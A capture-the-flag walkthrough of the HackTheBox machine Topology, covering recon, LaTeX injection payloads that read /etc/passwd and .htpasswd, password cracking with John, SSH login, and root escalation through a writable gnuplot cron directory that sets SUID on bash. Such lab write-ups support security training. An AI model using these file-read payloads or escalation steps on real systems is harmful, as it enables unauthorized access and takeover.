index-logo

Topology - HTB

walkthrough by elswix

Machine: Topology
Difficulty: Easy
Platform: HackTheBox
Release: Released on 06/10/2023


About Topology


Topology is an easy-level machine on HackTheBox. Initially, we need to exploit a LaTeX Injection to gain access to system files.


Shell as vdaisley


While searching for Apache configuration files, we discovered the root directory of a subdomain that prompts for credentials to gain access. Upon examining the .htpasswd file, we acquired the login details for vdaisley. Using these credentials, we successfully accessed the system as vdaisley via the SSH service.


Shell as root


Following some enumeration, we stumbled upon a cron job that runs all .plt files situated in /opt/gnuplot. Since we possess write permissions in this directory, we crafted a malicious .plt file to execute commands as the root user.


Recon


Firstly, we will conduct a port scan to discover open ports on the victim machine. Using the nmap tool, we'll execute the following scan:

elswix@kali$ nmap -p- --open --min-rate 10000 -n 10.10.11.217 -oN portScan

Nmap scan report for 10.10.11.217
Host is up (0.15s latency).
Not shown: 58587 closed tcp ports (conn-refused), 6946 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Now, having identified the open ports on the victim machine, we'll perform a comprehensive scan to detect the technologies and services exposed through these ports.

elswix@kali$ nmap -sCV -p22,80 10.10.11.217 -oN fullScan

Nmap scan report for 10.10.11.217 (10.10.11.217)
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
|   256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_  256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
At this stage, we've confirmed the presence of both an HTTP service and an SSH service.


Web Application


Prior to accessing the website via our browser, we'll use 'whatweb' to identify the technologies utilized by this website.

elswix@kali$ whatweb -a 3 10.10.11.217
http://10.10.11.217 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[lklein@topology.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.217], Title[Miskatonic University | Topology Group]
From the information gathered, one domain stands out: topology.htb.

I will append this domain to my /etc/hosts file:

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.217 topology.htb
When we access the web, we will encounter the following:




Subdomain Enumeration


As we have a domain, we can attempt to discover subdomains. To do this, we'll utilize the ffuf tool.

elswix@kali$ ffuf -c -t 100 -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://topology.htb/ -H "Host: FUZZ.topology.htb"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://topology.htb/
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

autodiscover            [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 154ms]
mssql                   [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 163ms]
forums                  [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 156ms]
dns3                    [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 168ms]
smtp                    [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 161ms]
apps                    [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 161ms]
ns2                     [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 161ms]
proxy                   [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 162ms]
download                [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 179ms]
www.dev                 [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 169ms]
localhost               [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 175ms]
helpdesk                [Status: 200, Size: 6767, Words: 1612, Lines: 175, Duration: 175ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
We've observed that all responses are consistently returning a length of 6767 bytes. To filter out these specific results, we'll use the --fs parameter with the specified length.

elswix@kali$ ffuf -c -t 100 -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://topology.htb/ -H "Host: FUZZ.topology.htb" --fs=6767

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://topology.htb/
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 6767
________________________________________________

dev                     [Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 3066ms]
stats                   [Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 6104ms]
:: Progress: [4989/4989] :: Job [1/1] :: 25 req/sec :: Duration: [0:01:10] :: Errors: 0 ::
It uncovered two subdomains, but I'm only able to access stats.topology.htb. Whenever I attempt to access dev.topology.htb, it prompts me for credentials. Nevertheless, I'll add these subdomains to my /etc/hosts file:

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.217 topology.htb dev.topology.htb stats.topology.htb
While inspecting the main web page, I noticed a hyperlink leading to a new subdomain: latex.topology.htb.



When attempting to access it, my browser cannot resolve that domain.



This is due to the need to add it to our /etc/hosts file, directing it to the IP address of the victim machine.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.217 topology.htb dev.topology.htb stats.topology.htb latex.topology.htb


latex.topology.htb


Upon accessing latex.topology.htb, we will encounter the following page:



Given the absence of an index.html file, we can perform directory listing on the root directory of latex.topology.htb.

Upon clicking equation.php, it redirects us to the following page:



LaTeX is a typesetting system used to create high-quality documents, particularly in academic and scientific fields. It employs a markup language to format text and features powerful tools for creating mathematical formulas, tables, figures, and cross-references.

At this point, we can input LaTeX code and convert the output to a PNG file.

There are examples available on how to use it:



Let's proceed with the first example: Fractions.



The input provided was interpreted using LaTeX and then converted into a PNG file:



There are various techniques that we can leverage. While researching information online, I came across LaTeX Injection.

One of the payloads available involves reading system files:



Upon clicking Generate, it displays the following message:



It appears to have security measures in place to filter out various malicious payloads. After testing numerous payloads for command execution and file reading, I've identified one that functions correctly:

\newread\file \openin\file=/etc/passwd \read\file to\line \text{\line} \closein\file


It's functioning as expected, returning the content of system files. However, the issue lies in its limitation to read only the first line of each file we want to access. To address this, I sought alternative methods that allow reading multiple lines in files.

Upon filtering for options that enable the reading of multiple lines in files, I discovered the following payload:

\lstinputlisting{/etc/passwd}
Let's proceed with testing this payload.



It seems like the error is due to the generated file not being a valid PNG, hence not visible. The absence of the Illegal command detected. Sorry. message suggests the command was executed. However, the content retrieved from the /etc/passwd file contains characters that might conflict with LaTeX interpretation.

To resolve this, an alternative is to format the command's output as a mathematical formula in LaTeX. This method employs the $ symbol to encapsulate the content, ensuring it is treated as a mathematical formula and avoiding conflict during interpretation.

$\lstinputlisting{/etc/passwd}$
Upon entering this payload, we receive the following response:



We've successfully retrieved content from system-local files. While examining the /etc/passwd file, we identified a system user named vdaisley. To attempt access using this user, we can try retrieving their private SSH key (id_rsa).

$\lstinputlisting{/home/vdaisley/.ssh/id_rsa}$
Based on the response, it appears that either the file does not exist or we lack access to it.




Shell as vdaisley


Recalling the Subdomain Enumeration, we discovered the subdomain dev.topology.htb, which we don't currently have access to as it requests credentials for entry. One method to obtain these credentials involves reading the .htpasswd file. However, we first need to identify the root directory of the subdomain's web service (this file may not necessarily be located in that directory).

To determine the location of the subdomain's web service, we can inspect Apache configuration files, such as the /etc/apache2/sites-available/000-default.conf file.



Now that we have access to this file, let's proceed with a careful examination of its contents.



Here, we've identified the dev.topology.htb directory. Next, let's attempt to read the /var/www/dev/.htpasswd file.



We've successfully accessed the file and obtained some credentials. However, the password is in hashed format, but we can attempt to crack it. I'll proceed by copying the file's content to my attacker machine.

elswix@kali$ cat creds.txt
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
Now, using John the Ripper, I'll attempt to crack the hashed password.

elswix@kali$ john -w:/usr/share/wordlists/rockyou.txt creds.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

calculus20       (vdaisley)   

1g 0:00:00:14 DONE (2023-11-04 09:33) 0.06724g/s 66961p/s 66961c/s 66961C/s calebd1..caitlyn09
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We've successfully cracked the password and obtained credentials for dev.topology.htb. One avenue we can explore is reusing these credentials to connect as the vdaisley user via SSH, considering that vdaisley is also a system user.

elswix@kali$ ssh vdaisley@10.10.11.217
vdaisley@10.10.11.217's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

vdaisley@topology:~$
Great! We've successfully gained access to the system. Now, let's proceed to read the first flag.

vdaisley@topology:~$ cat user.txt
f37e8cd09abccf7c371ac6022d38c2e1
vdaisley@topology:~$
I recommend setting the TERM environment variable to the value xterm for a more comfortable shell experience.

vdaisley@topology:~$ export TERM=xterm
vdaisley@topology:~$


Shell as root


As vdaisley, we do not appear to belong to any particularly interesting system group.

vdaisley@topology:~$ id
uid=1007(vdaisley) gid=1007(vdaisley) groups=1007(vdaisley)
vdaisley@topology:~$
Moreover, we do not have any sudo privileges assigned to us.

vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.
vdaisley@topology:~$
Upon searching for SUID files, we didn't discover any that seem particularly interesting.

vdaisley@topology:~$ find / -perm -4000 2>/dev/null
/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
vdaisley@topology:~$
At this stage, I'll download pspy onto the victim machine to monitor the processes and commands running on the system. After running pspy for about a minute, it detected the execution of a cron job.



The cron job appears to be searching for .plt files within /opt/gnuplot, and these files are being interpreted using gnuplot.

Upon inspecting the privileges for /opt/gnuplot, it's evident that we have the capability to write files in this directory.

vdaisley@topology:/dev/shm$ ls -l /opt/
total 4
drwx-wx-wx 2 root root 4096 Jun 14 07:45 gnuplot
vdaisley@topology:/dev/shm$
We can attempt to create a malicious .plt file and aim to acquire access as the root user.

Upon researching, I found an article demonstrating how to run system commands using gnuplot. By placing the content system "(command)" into a .plt file and interpreting it with gnuplot, it will execute the specified command.

Let's try assigning Set-UID privileges to the /bin/bash file:

vdaisley@topology:/dev/shm$ echo -n 'system "/usr/bin/chmod u+s /bin/bash"' > /opt/gnuplot/pwned.plt
vdaisley@topology:/dev/shm$
After approximately a minute of waiting, the Set-UID permission was successfully assigned to /bin/bash.

vdaisley@topology:/dev/shm$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
vdaisley@topology:/dev/shm$
Executing bash with the -p parameter will grant us the ability to run commands as the root user:

vdaisley@topology:/dev/shm$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
9e53f2d27e17d26b446a299628382143
bash-5.0#